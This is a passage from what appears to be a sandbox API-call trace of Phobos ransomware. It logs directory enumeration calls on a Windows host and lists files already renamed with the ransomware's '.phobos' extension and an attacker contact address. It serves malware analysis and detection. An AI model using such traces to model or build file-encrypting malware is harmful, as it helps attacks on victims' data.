lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0124.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.318] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.319] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.319] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.319] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.319] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1facbc, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed1facbc, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed26d398, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.319] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.319] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.319] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1 [0124.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.320] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.320] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.320] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda53095, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda53095, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.320] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.321] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed2935e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.321] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.321] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.321] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1 [0124.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.322] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.322] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26d398, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed26d398, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.322] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.323] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.323] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1 [0124.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.324] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.324] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcdb897, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.324] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.324] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.324] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2b98ad, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed2b98ad, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed436fd3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.324] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.325] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.325] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1 [0124.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5fe0 [0124.325] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.326] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdb897, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcdb897, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.326] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.326] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.326] FindNextFileW (in: hFindFile=0x7b5fe0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed436fd3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed436fd3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed48359d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.326] FindClose (in: hFindFile=0x7b5fe0 | out: hFindFile=0x7b5fe0) returned 1 [0124.326] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.326] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1 [0124.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.327] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.327] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.327] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedde6922, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedde6922, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xede0cac2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.327] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.328] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed45d258, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed45d258, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed4a9715, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.328] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.328] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.328] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, 